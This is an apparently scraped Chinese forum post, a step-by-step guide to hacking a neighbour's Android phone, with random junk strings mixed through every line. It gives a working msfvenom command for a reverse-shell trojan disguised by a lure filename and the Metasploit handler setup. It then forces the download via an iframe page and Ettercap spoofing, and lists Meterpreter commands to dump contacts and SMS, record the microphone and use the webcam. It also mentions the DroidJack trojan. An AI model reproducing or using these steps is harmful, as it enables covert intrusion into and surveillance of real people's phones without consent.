|
0 D: H2 B8 H! e
五、msf+ettercap入侵邻居安卓手机 # ^! N) y9 _: B7 \4 w
/ d' p5 z' s: c1 O& D8 f9 b8 w7 v1 B: m B+ h; F9 o; d( J% c
首先启动msf $ C; |* c T, q3 ]" A
6 ` M- R2 n- H" Z7 N- K' y$ y& `; f. I9 n. n, o. W
先用kali生成一个安卓木马，如下命令：
6 Q8 Z/ i% l% d: L5 z : B3 u( ^3 x9 Q7 P, d# ?7 u/ o
. I; O: |& n0 O. N& J
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
: d+ q! j# @. g, S$ _8 k/ Q + t) Q& b, ~7 x# o2 N* j
! E6 Z H/ f0 ~! y9 c% F  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
- V [1 {# Q2 W ; A5 {+ T7 V r
( A4 [. i0 s$ ]$ F V( ^
然后进入msf - g! g9 n8 i6 o
% z; o) \7 ?0 e1 \
7 H3 p% S) h8 C$ n7 F# W
use exploit/multi/handler
4 c( h$ |$ |. c0 f8 L
% X* j9 p% M" S8 B6 u* J! _
, Q8 p1 N1 n4 L, W$ ~8 ] set payload android/meterpreter/reverse_tcp * {, f5 p8 @# ]; }7 t
* u" C/ s( P* E4 J
6 j) o# X' `6 Z9 B: `
set LHOST 192.168.0.109 //ip为kaili的ip
, \# d# ~" o6 Y2 v& p p 6 }+ N8 E. H' t- G' J
. e& M7 f- S, I% O$ t+ S1 ^
set LPORT 44444 //端口一定要与前面生成的木马的端口一致 ' S( i. x P0 \; M$ v' k
7 o+ q5 z+ z {, P4 J0 s
! |2 E. L7 n+ ]/ ]. j* y
Exploit
2 ], ~7 ~' l4 u+ D+ h 7 U: [+ M \: D
# q' o8 `- y! Y' X  $ ^# b: \6 T) B
. T1 e) G) o: ]4 K
s2 ?6 U( \- g8 `3 a 下面我们开启ettercap -G 7 |4 S& K, _. E; W3 D) h, q4 i. J% i
! ~4 l, G, f6 }4 [% Q
+ T, d! F' L7 K! g/ L& L 我物理IP为
. N1 a) [# A% I- Q0 l
4 v0 r0 c+ r. V {. q. f3 W0 s6 @
9 v3 t: E8 m4 D' a/ |3 }% W/ B
& c9 _; ?# V6 f5 g/ j
# H% l- @7 D# H/ x) L* k 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
6 L! C, r; u. p; J$ q8 e % @# a% r; W& ~, ]3 A+ A
, Z/ C' t- q/ u# a4 V5 J 下面我们来设置一下 9 v% W! o( F' E3 l
' K$ F; ] a$ M9 b' N9 |1 t, Q3 m- Y# ?- K3 S! t5 D! G1 U
5 L( }6 C" B) S9 j. K
: b. H, z9 c! k- W# N* t
3 p2 R' }7 o, T 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， 5 Z) l* w5 R3 J7 M) r
4 I, f; S- r* ?" q- r+ U; y) \
1 J0 i7 ^" z( N5 C. a) s
3 \& b0 m5 j* s, }7 V
. K/ q! z5 A. @! _. C# _6 `
7 g0 g4 d `7 W, o1 W) ? 
+ ?$ x2 c& i M2 b- ]- o
4 u% g( J% A6 a5 i% f/ z P2 ^6 e. e6 W2 j. o
0 |& q s+ A9 t% A
7 Y& l; S6 ^' P7 L2 Z' X6 \" T. b) s0 M
* w1 F2 N9 a( V' O" r& r3 M4 ^) p ( ^3 F/ J5 P/ d( H
- i: W# z, [$ N, N. w5 @% J1 A+ t " h8 j) A' i0 y( G/ D9 r a+ J
( @% d+ l: `/ S. p$ i4 w+ G, c) P! G0 B$ S1 m) K
( F2 T8 H- O* m# }) w% M
) W* }. L6 ^; [1 P! G
7 W5 S$ E5 d1 e" J' e
9 v- F' z9 b- o( R n2 h" h 0 N9 f0 K2 U6 _
+ M5 j9 G; ?1 V& X
1 H9 X+ E7 L$ H5 w+ x " `5 r+ Q+ e+ ]$ z [
4 e4 D$ g) \+ A4 G1 ?; K
! o, ^5 X5 q% r5 E0 ]4 [ + {) f# L5 z+ o# j$ m* A
* ^* {* y P; c6 O
- u6 V8 }# G; b ' o: K. O9 b) M. y, o
( l, @6 p4 b2 G. F6 W
; x; D4 F$ j) U" ^' |* H$ y
# p0 ^7 z) t. v
2 w' ~0 K( u7 y0 I7 Q6 R# ]
: n6 v: \1 W- F( S ) f0 P0 Y: {. E' E" L0 F$ F; x; y
/ Z* \$ C' m- C* h) L J: V( P
 6 Q4 |9 ?7 K4 J' v7 d
! u; e2 {' i7 n" F
0 I; ?* K1 x7 ]1 D1 k& z 下面我们开始攻击 # H3 P- e& s" b: L* D s
9 H! n; L {' @: B" m3 X- R
" W3 F3 j' r& ~3 A+ e, Z
9 c; v& f- ^ W* y7 T. ]
) O8 o( ~9 \$ X9 j; b3 z1 @; q5 \+ q3 E) x7 H6 ?/ J
6 b/ {# l- Q5 i* ]- y
7 O, |. j7 D4 E6 A5 W' V
- V/ C' U( s8 e) n4 f6 ^$ \' b3 d. l 6 G0 `, i* z- U* J* P
, x. g4 l! y7 D' Q
) `! n6 c, v3 k/ R- G- B9 ?% Q. b
; k' ^1 {3 G" J# {$ J, N: h $ U# B+ _5 p) v/ B/ V1 V
0 e$ k& s" L4 X A# E4 Z+ v
; }( i" U, _8 x9 D/ V+ ` 6 l, l' b4 e8 P1 O- U( ^
4 o ~0 @% X% T2 }) T: y 大概过了5分钟多，发现反弹成功了 7 P; d4 B% W$ A: q, P
5 a% l& D6 _2 A
; r$ u8 V/ G) n; ^ r3 v
! b2 c! E+ D# e$ d7 y/ {: a
# u" X9 \# m/ V4 [8 B" O
! r% a0 K6 x+ c* a9 x& D
0 [% x; D9 I8 ?8 `+ a( J5 l9 k
! ?2 k2 E4 Y9 j* y9 v! H
! V9 f0 u4 t% ` U) ]2 X: I: d. R 8 j+ ?- S1 O3 Q
5 X' X# C$ l% g1 s0 l& @' I- |: R; v$ l
) c. j* B$ R, q0 U7 V* L0 q# L6 N0 X " [ c4 s- j* a1 P* \3 u
( A+ c, v! p9 [0 j% N" {
- e* p) X" ^; c, l
% h! u# T7 P+ \7 c
; s4 p) q0 [. P' A# b* `6 i / g/ F# G6 j! w$ f7 T
0 O( u' z8 s M7 O5 Y
8 U1 p! |$ f6 s2 y 
6 Q4 j0 k, z! G; y. V O. f. h7 p 0 S k3 T0 N) @0 g
9 E, L7 B& v5 D- l" N 执行命令 9 l0 x, X5 j% a# \% ]
( M0 L1 I0 s) F1 _( s1 C! Z1 x. y& G ]$ P1 Y" _' d4 k2 X5 U2 `
4 n; k3 H8 n" a+ Q% P H; W$ g
: H6 Q- e+ o, x% ^, D9 |- V; r+ |+ |, }# [
dump_contacts --》这个是导出电话 $ X4 H0 m7 i% J7 \
; E9 M0 W- y+ a/ d
. ~7 t, M! M6 L9 {1 Q: L
dump_sms --》这个是导出信息
. Q4 i$ H V. Q8 p! m
' r+ E2 d# T1 s# x
: k" y7 y# Y3 D9 M) ` record_mic Record audio from the default microphone for X seconds + B2 A! w0 E; E Q/ H8 W" g4 P
f" B" b% S. H* A
, _3 r3 G" y7 V8 E webcam_chat Start a video chat ! [+ b) a* f$ g: M6 P
/ M8 z$ K. V" u* h
2 J' D7 H$ s x2 v0 f webcam_list List webcams
4 u' |+ H( l9 `/ w9 W # P# t7 ], k2 \. R7 D; g7 a0 ]
! _( s5 J' z3 E1 ~+ f/ w: @
webcam_snap Take a snapshot from the specified webcam U1 b. ?; [* h' [
+ X9 T' t [' A2 }$ t' ]* K5 q
9 \8 I3 N1 s3 p6 r* i webcam_stream  lay a video stream from the specified webcam . p" ~6 l" [* S; t5 z
/ v; @5 q0 S' u
; N5 O( z6 ~& D* i7 u% ~5 z ^
 # O) }4 h8 u5 W+ @/ y
( g8 r$ t; {# H7 N# o: B3 _" N
% o: N. O& c) u% l( R  / r' n6 w& A" h9 d' O3 F% I( i2 m
4 m& }3 D U* m7 N+ i5 Y
( Z4 w5 K2 a ~7 ?; G" i5 p 我们打开看一下电话薄， $ d3 }0 P: g/ S8 c% B- V
& W8 @9 F1 ^8 R1 ~7 z$ ?9 I7 _: Q$ j \, j0 e7 R
8 U9 ^% b" X3 S: t
* y. x9 u5 h v7 z
' l R& i2 T# U( [5 H2 v; F  ) Q V" `6 b) Z8 D
6 t( N0 V$ x! w
, t$ t7 r& z! z* Q1 d3 a
% ?' ?) P9 X ?( S
8 c0 L+ K3 z% w9 ^) ^1 [. S6 u; d, R+ S" o
 " [5 ?7 F* x7 P
# X; m% O5 M5 ]% F. C7 \4 g
- R7 S0 J1 t& y' P7 j1 `! C
 2 N! [0 F8 B8 ~# Q4 f& s) c
% b4 O: P: K' S( g- q( ?/ }& H( c4 A3 T2 Z4 l d! a
) ~% K7 o0 R. I; X$ v+ c6 a! T
% q( s1 N; S7 {( q# @
8 Y: n5 ~0 H9 I" O5 |: j 我们同时欺骗成DroidJack木马，使用方法如图：
7 u1 f8 _. ] Z' d) F% ~3 ? 0 W6 N$ a8 K% j' ?, v
1 T+ @6 H5 w! m  6 t* K7 [+ o% K! G5 H, V. d/ f
: q, [, K- ~) q7 H, \1 h5 @, x/ u
D7 _1 s; N7 r S8 j T0 w+ z" Z
; J a, \; U3 N3 e
% C- v* y' o4 @# _6 D, |+ I0 }) P- I# h
N' K, M) @6 b, h8 q, c, g( n
+ r6 O6 x' @" m5 Q6 i+ @
- m" L% J$ B3 M$ ~5 P; a8 d& _1 O* W 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
$ f* v+ }& b: ^1 @/ a$ R
( K1 U6 r& R$ e- F! N, B! o, M" \7 \0 j$ H; v
 ) ?0 B ~/ ?* n, ~
& ~7 d( ^0 e( z: E# s( S7 x" U% K* q0 j. R+ `$ t; o) ]0 \
 0 S: d( n) G" H4 g
% B5 H( |$ ]8 h( w
4 O6 G( T/ o2 v: q 
3 j, s6 f- ^; s
+ X7 M1 }3 T8 u- }; l+ f7 m1 O) ]$ [% E! h
 
7 k' @! J$ B( ?3 ~0 s' I/ A
: o7 M/ j4 W- Z0 e0 }/ A! b& y1 S/ `3 ]7 p5 r
, H* b g3 K' c
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对